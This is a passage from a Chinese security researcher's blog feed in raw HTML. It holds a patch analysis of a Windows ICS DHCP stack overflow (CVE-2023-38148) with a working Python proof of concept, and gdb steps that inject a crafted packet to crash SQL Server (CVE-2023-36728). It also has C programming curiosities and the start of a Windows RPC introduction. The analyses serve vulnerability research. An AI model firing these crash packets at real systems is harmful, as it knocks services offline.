class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">$ gdb  --args /opt/mssql-tools/bin/sqlcmd   -S 192.168.150.141,50128 -G -C -U &quot;aabb&quot; -P &quot;a&quot;</span><br><span class="line">gdb$ b main</span><br><span class="line">gdb$ r</span><br><span class="line">gdb$ b send</span><br><span class="line">gdb$ c</span><br><span class="line">Breakpoint 2, 0x00007ffff6b30be0 in send () from /lib64/libpthread.so.0</span><br><span class="line">gdb$ b SSL_write</span><br><span class="line">gdb$ disa 1 2</span><br><span class="line">gdb$ c</span><br><span class="line">Breakpoint 3, 0x00007fffee1f5740 in SSL_write () from /lib64/libssl.so.10</span><br><span class="line">gdb$ set &#123;char[241]&#125;$rsi=&quot;\x10\x01\x00\xe5\x00\x00\x00\x00\xdd\x00\x00\x00\x04\x00\x00\x74\x00\x10\x00\x00\x00\x00\x00\x07\xbb\xaa\x00\x00\x00\x00\x00\x00\xe0\x03\x00\x10\xf0\x00\x00\x00\x09\x04\x00\x00\x5e\x00\x0a\x00\x72\x00\x00\x00\x72\x00\x00\x00\x72\x00\x0c\x00\x8a\x00\x0f\x00\xd0\x00\x04\x00\x8e\x00\x0e\x00\xaa\x00\x00\x00\xaa\x00\x06\x00\x00\xe0\x4c\x68\x0d\x9c\xb6\x00\x00\x00\xb6\x00\x00\x00\xb6\x00\x00\x00\x00\x00\x00\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x50\x00\x79\x00\x54\x00\x65\x00\x73\x00\x74\x00\x43\x00\x6c\x00\x69\x00\x65\x00\x6e\x00\x74\x00\x31\x00\x39\x00\x32\x00\x2e\x00\x31\x00\x36\x00\x38\x00\x2e\x00\x31\x00\x35\x00\x30\x00\x2e\x00\x31\x00\x34\x00\x31\x00\x50\x00\x79\x00\x20\x00\x54\x00\x44\x00\x53\x00\x20\x00\x6c\x00\x69\x00\x62\x00\x72\x00\x61\x00\x72\x00\x79\x00\x6d\x00\x61\x00\x73\x00\x74\x00\x65\x00\x72\x00\xd4\x00\x00\x00\x02\x04\x00\x00\x00\x00\xff\xff\xcc&quot;</span><br><span class="line">gdb$ set $rdx=0xE5</span><br><span class="line">gdb$ set $r12=0xe5</span><br><span class="line">gdb$ c</span><br></pre></td></tr></table></figure></li><li><p>in SQL Server, windbg:</p><p><img src="/images/sqlserver-dos-CVE-2023-36728.assets/1686738647013.png" alt="1686738647013"></p></li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;这个是一个sql server的未认证远程dos的bug解析.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>奇怪的知识又增加了</title>
    <link href="http://474172261.github.io/2023/10/11/unusual_knowledge/"/>
    <id>http://474172261.github.io/2023/10/11/unusual_knowledge/</id>
    <published>2023-10-11T09:27:42.152Z</published>
    <updated>2024-07-03T02:24:44.499Z</updated>
    
    <content type="html"><![CDATA[<p>关于技术的一些奇奇怪怪的知识点</p><span id="more"></span><h2 id="include"><a href="#include" class="headerlink" title="include"></a>include</h2><p>include本质就是把include的文件内容拷贝到当前插入include的位置.<br>所以就可以有一些奇怪的用法:<br>a.h</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">ifndef</span> _AAA</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> _AAA</span></span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">&quot;1\n&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>a.c</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;stdio.h&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    <span class="type">int</span> a = <span class="number">0</span>;</span><br><span class="line">    <span class="keyword">if</span>(a==<span class="number">1</span>)&#123;</span><br><span class="line">        ...</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="meta">#<span class="keyword">include</span> <span class="string">&quot;a.h&quot;</span></span></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="c的结构体"><a href="#c的结构体" class="headerlink" title="c的结构体"></a>c的结构体</h2><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">struct new1 &#123;</span><br><span class="line">    int a1;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">struct a2 &#123;</span><br><span class="line">    struct new1;// 这个位置我们没有给结构体变量名</span><br><span class="line">    int a22;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">int main() &#123;</span><br><span class="line">    struct a2 b1;</span><br><span class="line">    b1.a1;// 但是, 我们可以直接引用结构体的成员!</span><br><span class="line">    return 0;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h2 id="int-到-size-t"><a href="#int-到-size-t" class="headerlink" title="int 到 size_t"></a>int 到 size_t</h2><p>对于x64, 无论是gcc还是msvc, 编译<code>int a=-1;size_t new = (size_t)a;</code>的结果, new都是0xffffffffffffffff.</p><h2 id="关于clone的编写bug"><a href="#关于clone的编写bug" class="headerlink" title="关于clone的编写bug"></a>关于clone的编写bug</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span><span class="string">&lt;linux/sched.h&gt;</span></span></span><br><span class="line"><span class="type">int</span> <span class="title function_">this_pthread_create</span><span class="params">(<span class="type">int</span> *tid, <span class="type">void</span>(*thread_func)(<span class="type">void</span> *), <span class="type">void</span> *arg, <span class="type">void</span> *stack_end)</span>&#123;</span><br><span class="line">    <span class="type">int</span> pid;</span><br><span class="line">    *(<span class="type">long</span>*)(stack_end<span class="number">-0x100</span>) = (<span class="type">long</span>)thread_func;</span><br><span class="line">    *(<span class="type">long</span>*)(stack_end<span class="number">-0x108</span>) = (<span class="type">long</span>)arg;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// __asm__ __volatile__ (</span></span><br><span class="line">    <span class="comment">//     &quot;movq $56, %%rax\n\t&quot;  // syscall number for clone</span></span><br><span class="line">    <span class="comment">//     &quot;movl %1, %%edi\n\t&quot;   // flags</span></span><br><span class="line">    <span class="comment">//     &quot;movq %2, %%rsi;\n\t&quot;         // child_stack</span></span><br><span class="line">    <span class="comment">//     &quot;xorq %%rdx, %%rdx;\n\t&quot;         // ptid (NULL)</span></span><br><span class="line">    <span class="comment">//     &quot;xorq %%r10, %%r10;\n\t&quot;         // ctid (NULL)</span></span><br><span class="line">    <span class="comment">//     &quot;movq %3, %%r8;\n\t&quot;          // newtls (NULL)</span></span><br><span class="line">    <span class="comment">//     &quot;syscall;\n\t&quot;               // make the system call</span></span><br><span class="line">    <span class="comment">//     &quot;movl %%eax, %0;&quot;         // store the return value in pid</span></span><br><span class="line">    <span class="comment">//     : &quot;=r&quot; (pid)</span></span><br><span class="line">    <span class="comment">//     : &quot;r&quot;(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD),</span></span><br><span class="line">    <span class="comment">//       &quot;r&quot; (stack_end), &quot;r&quot;((long)0)</span></span><br><span class="line">    <span class="comment">//     : &quot;rax&quot;, &quot;rdi&quot;, &quot;rsi&quot;, &quot;rdx&quot;, &quot;r10&quot;, &quot;r8&quot;</span></span><br><span class="line">    <span class="comment">// );</span></span><br><span class="line">    pid = (<span class="type">int</span>)this_syscall((CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD),</span><br><span class="line">        (<span class="type">long</span>)stack_end,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">0</span>,</span><br><span class="line">        <span class="number">56</span> <span class="comment">// clone</span></span><br><span class="line">    );</span><br><span class="line">    <span class="keyword">if</span> (pid == <span class="number">-1</span>) &#123;</span><br><span class="line">        perror(<span class="string">&quot;clone&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span>(pid)</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">else</span>&#123;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;child thread\n&quot;</span>);</span><br><span class="line">        __asm__ __volatile__(</span><br><span class="line">            <span class="string">&quot;movq -0x108(%%rsp), %0\n\t&quot;</span></span><br><span class="line">            <span class="string">&quot;movq -0x100(%%rsp), %1\n\t&quot;</span></span><br><span class="line">            :<span class="string">&quot;=r&quot;</span>(arg),<span class="string">&quot;=r&quot;</span>(thread_func)</span><br><span class="line">        );</span><br><span class="line">        thread_func(arg);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// __asm__ __volatile__ (</span></span><br><span class="line">    <span class="comment">//     &quot;movq $60, %%rax;\n\t&quot; // syscall for exit</span></span><br><span class="line">    <span class="comment">//     &quot;movq $0, %%rdi;\n\t&quot;</span></span><br><span class="line">    <span class="comment">//     &quot;syscall;&quot;::</span></span><br><span class="line">    <span class="comment">// );</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> x = <span class="number">0</span>;</span><br><span class="line"><span class="type">void</span> <span class="title function_">fnc</span><span class="params">(<span class="type">void</span> *new)</span>&#123;</span><br><span class="line">    x = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="type">void</span> <span class="title function_">main</span><span class="params">()</span>&#123;</span><br><span class="line">    <span class="type">int</span> pid;</span><br><span class="line">    <span class="type">void</span> *a = <span class="built_in">calloc</span>(<span class="number">0x1000</span>, <span class="number">2</span>);</span><br><span class="line">    this_pthread_create(&amp;pid, fnc, <span class="number">0</span>, a+<span class="number">0x1000</span>);</span><br><span class="line">    <span class="keyword">while</span>(<span class="number">1</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">this_syscall:</span><br><span class="line">    push rbp</span><br><span class="line">    mov rbp, rsp</span><br><span class="line">    mov r10, rcx</span><br><span class="line">    mov rax, qword ptr[rbp+0x10]</span><br><span class="line">    syscall</span><br><span class="line">    pop rbp</span><br><span class="line">    ret</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这段代码一运行, 就会出现崩溃, 且<code>rip</code>等于0, 用上gdb调试, 也摸不着头脑, 最后终于知道问题在哪, 问题就在<code>this_syscall</code>的实现上.</p><p>clone这个syscall调用, 成功时, 会返回两种值, 一种是线程pid, 此时就运行在调用方的线程里. 一种是0, 此时在新建的线程里.  当从新线程返回时, <code>rsp</code>会被更新为新线程的<code>rsp</code>(即函数里的stack_end参数).</p><p>在<code>this_syscall</code>的第七行调用了<code>pop rbp</code>和<code>ret</code>, 如果当前线程是新线程, rsp已经被更新了, pop和ret操作都是在新的栈里操作的, 导致ret获取了0作为rip, 从而造成了崩溃.</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;关于技术的一些奇奇怪怪的知识点&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows Internet Connection Sharing (ICS) cve-2023-38148 分析</title>
    <link href="http://474172261.github.io/2023/09/13/ics_CVE-2023-38148-readme/"/>
    <id>http://474172261.github.io/2023/09/13/ics_CVE-2023-38148-readme/</id>
    <published>2023-09-13T10:32:19.055Z</published>
    <updated>2023-09-28T01:41:28.155Z</updated>
    
    <content type="html"><![CDATA[<p>简要分析bug成因, 仅供研究学习.</p><span id="more"></span><h2 id="环境搭建"><a href="#环境搭建" class="headerlink" title="环境搭建"></a>环境搭建</h2><p>首先, 创建一个windows虚拟机, 添加两个网卡, 记作net1, net2. 依照 <a href="https://support.ringcentral.com/article-v2/Enable-Internet-Connection-Sharing-ICS.html?brand=RC_US&product=RingCentral_MVP&language=en_US">Enable Internet Connection Sharing (ICS) in Windows 10</a>启用网络共享.</p><p>正常启用后, 观察监听端口, 可以看到多了3个新的监听端口, 分别是53, 67, 68, 都来自同一个进程, 如下所示:</p><p><img src="/images/ics_CVE-2023-38148-readme.assets/1694601348253.png" alt="1694601348253"></p><h2 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h2><p>对比文件<code>ipnathlp.dll</code>文件如下:</p><p><img src="/images/ics_CVE-2023-38148-readme.assets/1694601552120.png" alt="1694601552120"></p><p>可以看到, 在左侧行37位置, 当长度超过0x20时, 它并没有跳转到结束, 而是继续处理, 补丁后, 它直接结束了后续函数操作. 所以问题很明显, 就是在后续的操作中可能存在溢出问题.</p><p>这里<code>a2+228</code>为data开始位置, buffer空间大小为1500. <code>a2+220</code>指示buffer中数据长度.</p><p>跟踪了<code>DhcpExtractOptionsFromMessage</code>并没有发现问题, 跟踪<code>DhcpProcessBootpMessage-&gt;DhcpAddArpEntry</code>, 有如下代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">DhcpRemoveArpEntry(a1);</span><br><span class="line">memset_0(&amp;Row, 0, sizeof(Row));</span><br><span class="line">Row.InterfaceIndex = DhcpAdapterIndex;</span><br><span class="line">Row.Address.Ipv4.sin_family = 2;</span><br><span class="line">Row.Address.Ipv4.sin_addr.S_un.S_addr = a1;</span><br><span class="line">Row.PhysicalAddressLength = v4;</span><br><span class="line">memcpy_0(Row.PhysicalAddress, Src, v4);</span><br><span class="line">v10 = CreateIpNetEntry2(&amp;Row);</span><br></pre></td></tr></table></figure><p><code>v4</code>为<code>a2+230</code>的值, 即DHCP协议的Hardware address length 字段, <code>Row</code>是栈结构体, 大小为0xa8, 可以看到此处当<code>v4</code>超过<code>0xa8</code>时, 就会栈溢出.</p><blockquote><p>除此以外, <code>V2DhcpProcessMessage</code>也存在相同情况.</p></blockquote><h2 id="POC"><a href="#POC" class="headerlink" title="POC"></a>POC</h2><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> socket <span class="keyword">import</span> *</span><br><span class="line">s = socket(AF_INET, SOCK_DGRAM)</span><br><span class="line">addr = (<span class="string">&#x27;192.168.137.1&#x27;</span>, <span class="number">67</span>)</span><br><span class="line">data = <span class="string">b&quot;\x01\x01\xcc\x00\x94\x27\x17\x55\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\x29\xab&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\xf4\x97\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x63\x82\x53\x63&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x35\x00\x32\x04\xc0\xa8\x96\x80\x37\x12\x01\x1c\x02\x79\x0f&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x06\x0c\x28\x29\x2a\x1a\x77\x03\x79\xf9\x21\xfc\x2a\xff\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span> \</span><br><span class="line"><span class="string">b&quot;\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&quot;</span></span><br><span class="line"></span><br><span class="line">s.sendto(data, addr)</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;简要分析bug成因, 仅供研究学习.&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>Windows RPC 介绍</title>
    <link href="http://474172261.github.io/2023/09/06/rpc_readme/"/>
    <id>http://474172261.github.io/2023/09/06/rpc_readme/</id>
    <published>2023-09-06T10:11:27.861Z</published>
    <updated>2024-08-27T03:22:38.701Z</updated>
    
    <content type="html"><![CDATA[<p>windows的rpc是一个很重要的接口, 以前我对它一直不算了解, 今天以一个安全研究的角度去介绍一下它. </p><span id="more"></span><h2 id="注册rpc服务"><a href="#注册rpc服务" class="headerlink" title="注册rpc服务"></a>注册rpc服务</h2><p>server 通过 RpcServerUseProtseqEp 注册服务, 可以有的类型有: ncalrpc (ALPC), ncacn_np (named pipe) or ncacn_ip_tcp (TCP socket) <a href="https://www.tiraniddo.dev/2021/08/how-to-secure-windows-rpc-server-and.html" title="ow to secure a Windows RPC Server, and how not to.">参考链接</a><br>pipe类型:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">RpcServerUseProtseqEp(</span><br><span class="line">    L&quot;ncacn_np&quot;,</span><br><span class="line">    RPC_C_PROTSEQ_MAX_REQS_DEFAULT,</span><br><span class="line">    L&quot;\\pipe\\DEMO&quot;,</span><br><span class="line">    nullptr);</span><br></pre></td></tr></table></figure><p>socket类型:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">status = RpcServerUseProtseqEp(</span><br><span class="line">   reinterpret_cast&lt;unsigned char*&gt;(&quot;ncacn_ip_tcp&quot;), // Use TCP/IP protocol.</span><br><span class="line">   RPC_C_PROTSEQ_MAX_REQS_DEFAULT, // Backlog queue length for TCP/IP.</span><br><span class="line">   reinterpret_cast&lt;unsigned char*&gt;(&quot;4747&quot;),         // TCP/IP port to use.</span><br><span class="line">   NULL);                          // No security.</span><br></pre></td></tr></table></figure><p>alpc类型:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">RpcServerUseProtseqEpA(&quot;ncalrpc&quot;, 10, &quot;spoolss&quot;, SecurityDescriptor);</span><br></pre></td></tr></table></figure><p>之后是注册rpc函数接口:</p><ul><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif">RpcServerRegisterIf</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif2">RpcServerRegisterIf2</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterifex">RpcServerRegisterIfEx</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverregisterif3">RpcServerRegisterIf3</a></li><li><a href="https://docs.microsoft.com/en-us/windows/win32/api/rpcdce/nf-rpcdce-rpcserverinterfacegroupcreatew">RpcServerInterfaceGroupCreate</a></li></ul><p>以后面示例代码<code>Example1Server.cpp</code>为例:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">status = RpcServerRegisterIf2(</span><br><span class="line">   Example1_v1_0_s_ifspec, <span class="comment">// Interface to register.</span></span><br><span class="line">   <span class="literal">NULL</span>, <span class="comment">// Use the MIDL generated entry-point vector.</span></span><br><span class="line">   <span class="literal">NULL</span>, <span class="comment">// Use the MIDL generated entry-point vector.</span></span><br><span class="line">   RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, <span class="comment">// Forces use of security callback.</span></span><br><span class="line">   RPC_C_LISTEN_MAX_CALLS_DEFAULT, <span class="comment">// Use default number of concurrent calls.</span></span><br><span class="line">   (<span class="type">unsigned</span>)<span class="number">-1</span>, <span class="comment">// Infinite max size of incoming data blocks.</span></span><br><span class="line">   SecurityCallback); <span class="comment">// Naive security callback.</span></span><br></pre></td></tr></table></figure><p>第四个参数flag, 值如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#define RPC_IF_AUTOLISTEN                   0x0001</span><br><span class="line">#define RPC_IF_OLE                          0x0002</span><br><span class="line">#define RPC_IF_ALLOW_UNKNOWN_AUTHORITY      0x0004</span><br><span class="line">#define RPC_IF_ALLOW_SECURE_ONLY            0x0008</span><br><span class="line">#define RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH 0x0010</span><br><span class="line">#define RPC_IF_ALLOW_LOCAL_ONLY             0x0020</span><br><span class="line">#define RPC_IF_SEC_NO_CACHE                 0x0040</span><br><span class="line">#if (NTDDI_VERSION &gt;= NTDDI_VISTA)</span><br><span class="line">#define RPC_IF_SEC_CACHE_PER_PROC           0x0080</span><br><span class="line">#define RPC_IF_ASYNC_CALLBACK               0x0100</span><br></pre></td></tr></table></figure><p>有<code>RPC_IF_ALLOW_SECURE_ONLY</code>代表接口需要认证.</p><p>在<a href="https://www.codeproject.com/Articles/4837/Introduction-to-RPC-Part-1#Implicitandexplicithandles17" title="Introduce RPC">示例项目</a>里, 它会自动生成<code>Example1_s.c</code>文件, 里面有<code>Example1_v1_0_s_ifspec</code>的定义:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">RPC_IF_HANDLE Example1_v1_0_s_ifspec = (RPC_IF_HANDLE)&amp; Example1___RpcServerInterface;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_SERVER_INTERFACE Example1___RpcServerInterface =</span><br><span class="line">    &#123;</span><br><span class="line">    <span class="keyword">sizeof</span>(RPC_SERVER_INTERFACE),</span><br><span class="line">    &#123;&#123;<span class="number">0x00000001</span>,<span class="number">0xEAF3</span>,<span class="number">0x4A7A</span>,&#123;<span class="number">0xA0</span>,<span class="number">0xF2</span>,<span class="number">0xBC</span>,<span class="number">0xE4</span>,<span class="number">0xC3</span>,<span class="number">0x0D</span>,<span class="number">0xA7</span>,<span class="number">0x7E</span>&#125;&#125;,&#123;<span class="number">1</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    &#123;&#123;<span class="number">0x8A885D04</span>,<span class="number">0x1CEB</span>,<span class="number">0x11C9</span>,&#123;<span class="number">0x9F</span>,<span class="number">0xE8</span>,<span class="number">0x08</span>,<span class="number">0x00</span>,<span class="number">0x2B</span>,<span class="number">0x10</span>,<span class="number">0x48</span>,<span class="number">0x60</span>&#125;&#125;,&#123;<span class="number">2</span>,<span class="number">0</span>&#125;&#125;,</span><br><span class="line">    (RPC_DISPATCH_TABLE*)&amp;Example1_v1_0_DispatchTable,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    <span class="number">0</span>,</span><br><span class="line">    &amp;Example1_ServerInfo,</span><br><span class="line">    <span class="number">0x06000000</span></span><br><span class="line">    &#125;;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_DISPATCH_FUNCTION Example1_table[] =</span><br><span class="line">    &#123;</span><br><span class="line">    NdrServerCall2,</span><br><span class="line">    <span class="number">0</span></span><br><span class="line">    &#125;;</span><br><span class="line"><span class="type">static</span> <span class="type">const</span> RPC_DISPATCH_TABLE Example1_v1_0_DispatchTable = </span><br><span class="line">    &#123;</span><br><span class="line">    <span class="number">1</span>,<span class="comment">// 指定了有几个回调函数.</span></span><br><span class="line">    (RPC_DISPATCH_FUNCTION*)Example1_table</span><br><span class="line">    &#125;;</span><br><span class="line"></span><br><span 